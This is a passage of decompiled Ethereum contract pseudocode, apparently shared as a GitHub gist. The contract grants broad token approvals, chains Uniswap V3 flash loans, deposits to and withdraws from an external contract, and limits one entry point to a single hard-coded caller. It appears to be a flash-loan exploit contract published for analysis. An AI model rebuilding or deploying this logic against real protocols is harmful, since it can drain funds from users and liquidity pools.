require(v7 == v7);
require(stor_2_0_19.code.size);
v8, v9 = stor_2_0_19.approve(0xcf3c8f51de189c8d5382713b716b133e485b99b7, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v9 == v9);
require(0x2c537e5624e4af88a7ae4060c022609376c8d0eb.code.size);
v10, v11 = 0x2c537e5624e4af88a7ae4060c022609376c8d0eb.approve(0xcf3c8f51de189c8d5382713b716b133e485b99b7, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v10); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v11 == v11);
require(stor_2_0_19.code.size);
v12, v13 = stor_2_0_19.approve(0x764a5a29f982d3513e76fe07df2034821fbdba72, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v12); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v13 == v13);
require(0xda446fad08277b4d2591536f204e018f32b6831c.code.size);
v14, v15 = 0xda446fad08277b4d2591536f204e018f32b6831c.approve(0x764a5a29f982d3513e76fe07df2034821fbdba72, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v14); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v15 == v15);
require(stor_2_0_19.code.size);
v16, v17 = stor_2_0_19.approve(0x9a6c7ae10eb82a0d7dc3c296ecbc2e2bdc53e80b, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v16); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v17 == v17);
require(0x70e8de73ce538da2beed35d14187f6959a8eca96.code.size);
v18, v19 = 0x70e8de73ce538da2beed35d14187f6959a8eca96.approve(0x9a6c7ae10eb82a0d7dc3c296ecbc2e2bdc53e80b, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v18); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v19 == v19);
require(stor_2_0_19.code.size);
v20, v21 = stor_2_0_19.approve(0x477658494c3541ba272a7120176d77674a0183ba, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v20); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v21 == v21);
require(0x1abaea1f7c830bd89acc67ec4af516284b1bc33c.code.size);
v22, v23 = 0x1abaea1f7c830bd89acc67ec4af516284b1bc33c.approve(0x477658494c3541ba272a7120176d77674a0183ba, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v22); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v23 == v23);
require(stor_2_0_19.code.size);
v24, v25 = stor_2_0_19.approve(0xf3d7aa346965656e7c65fb4135531e0c2270af83, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v24); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v25 == v25);
require(0xcadc0acd4b445166f12d2c07eac6e2544fbe2eef.code.size);
v26, v27 = 0xcadc0acd4b445166f12d2c07eac6e2544fbe2eef.approve(0xf3d7aa346965656e7c65fb4135531e0c2270af83, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v26); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v27 == v27);
}
function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {
require(4 + (msg.data.length - 4) - 4 >= 96);
0x43bd(varg0);
0x43bd(varg1);
require(varg2 <= 0xffffffffffffffff);
require(4 + varg2 + 31 < 4 + (msg.data.length - 4));
require(varg2.length <= 0xffffffffffffffff);
require(4 + varg2 + 32 + varg2.length <= 4 + (msg.data.length - 4));
require(stor_0_0_19.code.size);
v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
}
function uniswapV3FlashCallback(uint256 varg0, uint256 varg1, bytes varg2) public payable {
require(4 + (msg.data.length - 4) - 4 >= 96);
0x43bd(varg0);
0x43bd(varg1);
require(varg2 <= 0xffffffffffffffff);
require(4 + varg2 + 31 < 4 + (msg.data.length - 4));
require(varg2.length <= 0xffffffffffffffff);
require(4 + varg2 + 32 + varg2.length <= 4 + (msg.data.length - 4));
require(stor_2_0_19.code.size);
v0, v1 = stor_2_0_19.balanceOf(address(this)).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v1);
v2 = v3 = v1 >= _uniswapV3FlashCallback;
if (v3) {
require(_app.code.size);
v4, v5 = _app.balanceOf(address(this)).gas(msg.gas);
require(v4); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v5);
v2 = v5 == 0;
}
if (v2) {
stor_8 = varg1;
require(stor_4_0_19.code.size);
v6 = stor_4_0_19.flash(address(this), 0, stor_7, '0xcallflash').gas(msg.gas);
require(v6); // checks call status, propagates error data on error
}
require(stor_2_0_19.code.size);
v7, v8 = stor_2_0_19.balanceOf(address(this)).gas(msg.gas);
require(v7); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v8);
v9 = v10 = v8 >= _uniswapV3FlashCallback;
if (v10) {
require(_app.code.size);
v11, v12 = _app.balanceOf(address(this)).gas(msg.gas);
require(v11); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v12);
v9 = v12 >= stor_7;
}
if (v9) {
0x34d3();
v13 = _SafeAdd(stor_8, _uniswapV3FlashCallback);
require(stor_2_0_19.code.size);
v14, v15 = stor_2_0_19.transfer(stor_3_0_19, v13).gas(msg.gas);
require(v14); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v15 == v15);
v16 = _SafeAdd(varg1, stor_7);
require(_app.code.size);
v17, v18 = _app.transfer(stor_4_0_19, v16).gas(msg.gas);
require(v17); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v18 == v18);
require(stor_2_0_19.code.size);
v19, v20 = stor_2_0_19.balanceOf(address(this)).gas(msg.gas);
require(v19); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v20);
require(_app.code.size);
v21, v22 = _app.balanceOf(address(this)).gas(msg.gas);
require(v21); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v22);
}
}
function 0xf1f3a66a(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
require(stor_3_0_19.code.size);
v8 = stor_3_0_19.flash(address(this), 0, _uniswapV3FlashCallback, '0xcallflash').gas(msg.gas);
require(v8); // checks call status, propagates error data on error
exit;
}
}
revert(Panic(50));
}
function 0x34d3() private {
v0 = 0x3774(stor_9, stor_7);
v1 = 0x37e1(1000, v0);
v2 = _SafeSub(v1, stor_7);
v3 = 0x3774(stor_9, _uniswapV3FlashCallback);
v4 = 0x37e1(1000, v3);
v5 = _SafeSub(v4, _uniswapV3FlashCallback);
require(stor_0_0_19.code.size);
v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);
require(v6); // checks call status, propagates error data on error
require(stor_0_0_19.code.size);
v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);
require(v7); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v8);
require(stor_0_0_19.code.size);
v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);
require(v9); // checks call status, propagates error data on error
return ;
}
function _SafeAdd(uint256 varg0, uint256 varg1) private {
require(varg1 <= 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - varg0, Panic(17));
v0 = varg1 + varg0;
require(v0 >= varg1, Error('ds-math-add-overflow'));
return v0;
}
function 0x3774(uint256 varg0, uint256 varg1) private {
v0 = v1 = 0;
v2 = v3 = varg0 == v1;
if (varg0 != v1) {
require(!(varg1 & (varg0 > 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff / varg1)), Panic(17));
v0 = v4 = varg1 * varg0;
v5 = _SafeDiv(v4, varg0);
v2 = v6 = v5 == varg1;
}
require(v2, Error('ds-math-mul-overflow'));
return v0;
}
function 0x37e1(uint256 varg0, uint256 varg1) private {
require(varg0 > 0, Error('Undivision by zero'));
v0 = _SafeDiv(varg1, varg0);
return v0;
}
function _SafeSub(uint256 varg0, uint256 varg1) private {
require(varg1 >= varg0, Panic(17));
v0 = varg1 - varg0;
require(v0 <= varg1, Error('sub-underflow'));
return v0;
}
function _SafeDiv(uint256 varg0, uint256 varg1) private {
require(varg1, Panic(18));
return varg0 / varg1;
}
function 0x43bd(uint256 varg0) private {
require(varg0 == varg0);
return ;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x7c1d54db > function_selector >> 224) {
if (0xf3a8e57 > function_selector >> 224) {
if (0xfba423 == function_selector >> 224) {
0x00fba423();
} else if (0x6853c3a == function_selector >> 224) {
0x06853c3a();
} else if (0x7248621 == function_selector >> 224) {
0x07248621();
} else if (0xbe06bea == function_selector >> 224) {
0x0be06bea();
}
} else if (0xf3a8e57 == function_selector >> 224) {
0x0f3a8e57();
} else if (0x282690ca == function_selector >> 224) {
0x282690ca();
} else if (0x3b12ffc3 == function_selector >> 224) {
0x3b12ffc3();
} else if (0x44b5406b == function_selector >> 224) {
0x44b5406b();
} else if (0x55a1db9a == function_selector >> 224) {
0x55a1db9a();
}
} else if (0xb727281f > function_selector >> 224) {
if (0x7c1d54db == function_selector >> 224) {
0x7c1d54db();
} else if (0x99ccb372 == function_selector >> 224) {
0x99ccb372();
} else if (0xa799046c == function_selector >> 224) {
0xa799046c();
} else if (0xb376e665 == function_selector >> 224) {
0xb376e665();
}
} else if (0xb727281f == function_selector >> 224) {
0xb727281f();
} else if (0xb76564bd == function_selector >> 224) {
app();
} else if (0xc3924ed6 == function_selector >> 224) {
0xc3924ed6();
} else if (0xe9cbafb0 == function_selector >> 224) {
uniswapV3FlashCallback(uint256,uint256,bytes);
} else if (0xf1f3a66a == function_selector >> 224) {
0xf1f3a66a();
}
}
();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment